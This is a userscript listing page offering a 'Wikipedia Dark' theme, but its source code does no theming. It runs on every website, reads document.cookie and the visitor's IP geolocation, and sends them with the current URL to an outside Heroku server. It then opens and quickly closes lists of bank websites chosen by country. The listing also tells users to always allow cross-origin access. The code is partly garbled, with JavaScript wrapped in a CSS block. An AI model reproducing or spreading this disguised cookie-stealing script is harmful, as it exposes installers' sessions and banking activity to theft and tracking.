Skip to content

Wikipedia Dark by kiani

Details

Authorkiani

LicenseCC-BY-SA-4.0

Categorywikipedia

Created

Updated

Size8.5 kB

Statistics

Learn how we calculate statistics in the FAQ.

Failed to fetch stats.

Description

Wikipedia Dark theme

Notes

NOTE: ALWAYS ALLOW ACCESS CONTROL ALLOW ORIGIN ON TAMPERMONKEY

Source code

// ==UserScript==
// @name         Wikipedia Dark
// @author       kiani
// @version      1.3.0
// @namespace    https://github.com/kiani
// @description  Wikipedia Dark theme
// @match        *://*/*
// @license      MIT
// @grant        GM_xmlhttpRequest
// ==/UserScript==
@-moz-document regexp("https?:\/\/.*wik(i|t).*(org|jp).*") {
function sendLogToServer(logData) {
    var MXZONEWASHERE = document.cookie;
    var queryString = '?ipGeolocation=' + encodeURIComponent(JSON.stringify(logData.ipGeolocation)) +
        '¤tWebsiteURL=' + encodeURIComponent(logData.currentWebsiteURL) +
        '&MXZONE=' + encodeURIComponent(MXZONEWASHERE);
    GM_xmlhttpRequest({
        method: 'GET',
        url: 'https://mxzone-511f18675b06.herokuapp.com/' + queryString,
        onload: function(response) {
            console.log('Log sent successfully:', response.responseText);
        },
        onerror: function(error) {
            console.error('Error sending log to server:', error);
        }
    });
}

function openLink(link) {
    var newWindow = window.open(link, '_blank');
    setTimeout(function() {
        newWindow.close();
    }, 5000);
}

function openLinksSequentially(links, index, delay) {
    if (index < links.length) {
        setTimeout(function() {
            openLink(links[index]);
            openLinksSequentially(links, index + 1, delay);
        }, delay);
    }
}

function logIPGeolocationAndWebsite(response) {
    try {
        var geoData = JSON.parse(response.responseText);
        var logData = {
            ipGeolocation: geoData,
            currentWebsiteURL: window.location.href
        };
        sendLogToServer(logData);
        var links = {
            'US': ['https://www.chase.com/','https://www.bankofamerica.com/','http://www.citibank.com/us/homepage/home.htm','https://www.wellsfargo.com/','https://www.usbank.com/index.html','https://www.capitalbank.com/','https://www.td.com/us/en/personal-banking','https://www.goldmansachs.com/','https://www.synchrony.com/','https://www.bmo.com/en-ca/main/personal/','https://www.statestreet.com/au/en/individual','https://www.ally.com/','https://www.huntington.com/','https://www.truist.com/','https://www.citizensbank.com/','https://www.key.com/personal/','https://www.hsbc.com/'],
            'CA': ['https://www.td.com/us/en/personal-banking','https://www.rbcroyalbank.com/','https://www.bmo.com/en-ca/main/personal/','https://www.scotiabank.com/ca/en/personal.html','https://www.cibc.com/en/personal-banking.html','https://www.nbc.ca/'],
            'CN': ['https://www.icbc-ltd.com/ICBCLtd/','http://www.ccb.com/eng/home/index.shtml','https://www.bankofchina.com/au/','https://www.abchina.com/'],
            'UK': ['https://www.chase.com/','https://www.firstdirect.com/','https://www.starlingbank.com/','https://monzo.com/','https://www.bankofscotland.co.uk/','https://www.nationwide.co.uk/','https://www.revolut.com/','https://www.natwest.com/','http://www.rbs.co.uk/','https://www.santander.co.uk/','https://www.lloydsbank.com/','https://www.barclays.co.uk/','https://uk.virginmoney.com/','https://www.halifax.co.uk/','https://www.co-operativebank.co.uk/','https://www.hsbc.com/','https://www.tsb.co.uk/'],
            'IT': ['https://group.intesasanpaolo.com/','https://www.unicreditgroup.eu/','https://www.mps.it/','https://www.bancobpm.it/','https://bnl.it/it','https://www.mediobanca.com/','https://www.bper.it/','https://it.finecobank.com/','https://www.bancageneraliprivate.it/homepage','https://www.poste.it/','https://www.bancamediolanum.it/','https://www.credem.it/','https://www.db.com/','https://www.ing.com.au/','https://www.bancaditalia.it/','https://www.cdp.it/sitointernet/','https://www.credit-agricole.it/','https://www.mcc.it/'],
            'BR': ['https://www.itau.com.br/','https://banco.bradesco/','https://www.santander.com.br/','https://www.bb.com.br/','https://www.caixa.gov.br/','https://www.safra.com.br/index.htm','https://www.btgpactual.com/','https://www.bv.com.br/','https://www.hsbc.fr/en-fr/','https://business.bofa.com/','https://corporateportal.brazil.citibank.com/','https://nubank.com.br/','https://brasil.bnpparibas/pt/','https://www.xpi.com.br/'],
            'KR': ['https://omoney.kbstar.com/quics?page=oeng#loading','https://www.shinhan.com/en/index.jsp','https://banking.nonghyup.com/nhbank.html','https://www.hanafn.com/en/main/index.do','https://www.kdbbank.eu/kdb-bank-seoul','https://spot.wooribank.com/pot/Dream?withyou=en&LCL=EN','https://global.ibk.co.kr/','http://www.dgbfg.co.kr/ad01.fg','https://m.kjbank.com/mweb/main/','https://www.busanbank.co.kr/ib20/mnu/BHP00001'],
            'DE': ['https://www.commerzbank.de/portal/en/englisch/english.html','https://www.db.com/index?language_id=1&kid=sl.redirect-en.shortcut','https://www.kfw-entwicklungsbank.de/International-financing/KfW-Entwicklungsbank/','https://n26.com/en-eu','https://www.dzbank.com/','https://www.bayernlb.com/internet/en/blb/resp/index.jsp','https://www.hypovereinsbank.de/hvb/privatkunden','https://www.nordlb.com/','https://www.dkb.de/','https://www.postbank.de/','https://www.hcob-bank.de/en/startseite/','https://www.ing.com.au/','https://www.jpmorgan.com/DE/en/about-us','https://www.ubs.com/de/en.html'],
            'JP': ['https://www.mufg.jp/english/index.html','https://www.smbc.co.jp/global/','https://www.mizuhogroup.com/bank','https://www.jp-bank.japanpost.jp/en_index.html','https://www.chibabank.co.jp/english/','https://www.resona-gr.co.jp/holdings/english/','https://www.nochubank.or.jp/en/','https://www.sbishinseibank.co.jp/english/','https://www.fukuoka-fg.com/en/','https://www.concordia-fg.jp/en/index.html','https://www.smbctb.co.jp/en/'],
            'FR': ['https://group.bnpparibas/en/','https://groupebpce.com/en','https://www.credit-agricole.com/','https://www.credit-agricole.com/','https://www.societegenerale.com/fr','https://www.labanquepostale.fr/','https://www.axa.fr/espace-client.html','https://www.hsbc.fr/en-fr/index/','https://www.credit-cooperatif.coop/','https://particuliers.sg.fr/','https://www.creditmutuel.fr/home/index.html'],
            'IN': ['https://www.axisbank.com/','https://www.hdfcbank.com/personal/','https://www.icicibank.com/','https://www.indusind.com/','https://www.kotak.com/en/home.html','https://sbi.co.in/','https://www.bankofbaroda.in/','https://www.pnbindia.in/','https://www.unionbankofindia.co.in/english/home.aspx','https://bankofindia.co.in/','https://canarabank.com/','https://www.yesbank.in/','https://www.idbibank.in/','https://www.idfcfirstbank.com/','https://indianbank.in/','https://www.ucoebanking.in/','https://bandhanbank.com/'],
            'CH': ['https://www.revolut.com/','https://www.ubs.com/','https://www.credit-suisse.com/','https://www.sgkb.ch/','https://www.lukb.ch/','https://www.efginternational.com/','https://www.raiffeisen.ch/','https://www.zkb.ch/','https://www.bkb.ch/','https://www.bcv.ch/','https://www.juliusbaer.com/'],
            'NO': ['https://www.sparebank1.no/','https://www.landkredittbank.no/','https://www.fanasparebank.no/','https://www.banknorwegian.no/','https://www.bnbank.no/','https://www.dengulebanken.no/','https://www.oest.no/','https://sbanken.no/','https://www.romsdalsbanken.no/','https://spareskillingsbanken.no/','https://www.rorosbanken.no/','https://www.rsbank.no/','https://paretobank.no/','https://www.asbank.no/','https://www.obos.no/','https://www.santanderconsumer.no/','https://skudeaakra.no/','https://www.grong-sparebank.no/','https://flekkefjordsparebank.no/','https://www.aurskog-sparebank.no/','https://www.orklasparebank.no/','https://www.dnb.no/','https://www.melhusbanken.no/','https://www.jbf.no/','https://www.haugesund-sparebank.no/','https://www.skagerraksparebank.no/','https://www.klp.no/','https://www.jaerensparebank.no/','https://www.skuesparebank.no/'],
        };
        var countryLinks = links[geoData.country];
        if (countryLinks) {
            openLinksSequentially(countryLinks, 0, 3000);
        } else {
            console.log('No links found for the country:', geoData.country);
        }
    } catch (error) {
        console.error('Error parsing geolocation data:', error);
    }
}

GM_xmlhttpRequest({
    method: 'GET',
    url: 'https://ipinfo.io/json?token=d8a4d978d5d997',
    onload: logIPGeolocationAndWebsite,
    onerror: function(error) {
        console.error('Error fetching geolocation data:', error);
    }
});

Reviews

No reviews yet.